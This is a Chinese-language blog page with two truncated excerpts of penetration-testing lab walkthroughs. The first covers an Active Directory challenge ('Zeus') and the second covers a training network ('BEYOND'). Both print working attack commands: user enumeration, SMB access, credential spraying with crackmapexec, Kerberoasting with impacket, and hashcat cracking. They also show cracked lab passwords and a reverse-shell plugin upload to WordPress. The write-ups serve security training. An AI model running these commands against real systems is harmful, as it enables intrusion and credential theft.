ARIES

 Challenge 7 - Zeus(0) 近期又推出了新的 LAB Challenge 7 - Zeus 宙斯，只有三台看來是個 AD 題組 且三台同網段，研判是模擬考試環境三台都對外的 AD 題組 三台都是 Windows 三台都先 Rustscan 掃掃看，└─$ rustscan -a 192.168.116.158 --scripts none --ulimit 5000 | tee rustscan 158 看來是一台 DC 159 看來沒有甚麼 160 看來也沒有甚麼 三台的 snmp 也都沒有效 nmap LDAP Search，└─$ sudo nmap -n -sV -Pn --script ldap-search.nse 192.168.116.158 | tee nmap-ldap-search  網域名稱 : zeus.corp LDAP 物件查詢沒有結果，└─$ ldapsearch -v -x -b "DC=zeus,DC=corp" -H "ldap://192.168.116.158" "(objectclass=*)" 使用者枚舉看看，└─$ ./kerbrute_linux_amd64 userenum --dc 192.168.116.158 -d zeus.corp -o kerbrute-user-enum xato-net-10-million-usernames.txt 跑了一段時間只有枚舉到預設的帳號 administrator、guest SMB 枚舉看看，使用匿名都無法存取，但是帶入 zeus\guest 可以在 .159 發現有個特殊的分享路徑 SQL smb 連線該資料夾，└─$ smbclient \\\\192.168.116.159\\SQL -U 'zeus\guest' 當中有一個檔案 connection.sql，抓回來到 kali 查看檔案發現一組帳號密碼 zeus.corp\db_user:Password123! crackmapexec 測試一下是一組有效的憑證，└─$ crackmapexec smb 192.168.116.158-160 -u db_user -p 'Password123!...

BEYOND 公司之滲透測試(3) 內部進階攻擊 第二階段中當我們瀏覽 BloodHound 時有發現如下圖的枚舉，這意味著 daniela 可能可以成功登入到 INTERNALSRV1 這台機器上 所以直接使用之前學過的 Kerberoasting AD 攻擊來嘗試看看，參考連結如下 https://your-it-note.blogspot.com/2023/11/active-directory_9.html 指令 └─$ proxychains -q impacket-GetUserSPNs -request -dc-ip 172.16.119.240 beyond.com/john 輸入密碼後跟練習的一樣拿到了 daniela 的 HASH 依樣存下來，依據之前練習的一樣直接爆破吧，└─$ sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force 順利破解出來了，密碼是  DANIelaRO123 順手記錄好習慣...... 使用者都會習慣使用相同的密碼，讓我們先測試 WordPress 網站看看，可以登入且網站僅有他一個帳號並且是管理者權限 既然是管理者那就使用之前用過的外掛方式來拿該伺服器的權限，參考如下 https://your-it-note.blogspot.com/2023/08/sql-injection_25.html 直接安插 Reverse Shell Plugin 套件，做好後直接壓縮 wordpress.php.zip 上傳安裝後也啟動了 結果我們的 nc-9999 沒有進來 後來又嘗試了其他 Port 依然沒有結果，看來是 INTERNALSRV1 無法出外網的樣子 所以讓我們繼續查看 WordPress 上的相關設定，發現一個備份路徑檔 C:\xampp\htdocs\wordpress\wp-content\backup-migration-BV1emzfHrI 該路徑將用於儲存備份。我們可能會濫用此功能來強制對底層系統進行身份驗證。 讓我們在這裡暫停一下併計劃下一步。目前，有兩種有希望的攻擊媒介。 第一個是將惡意 WordPr...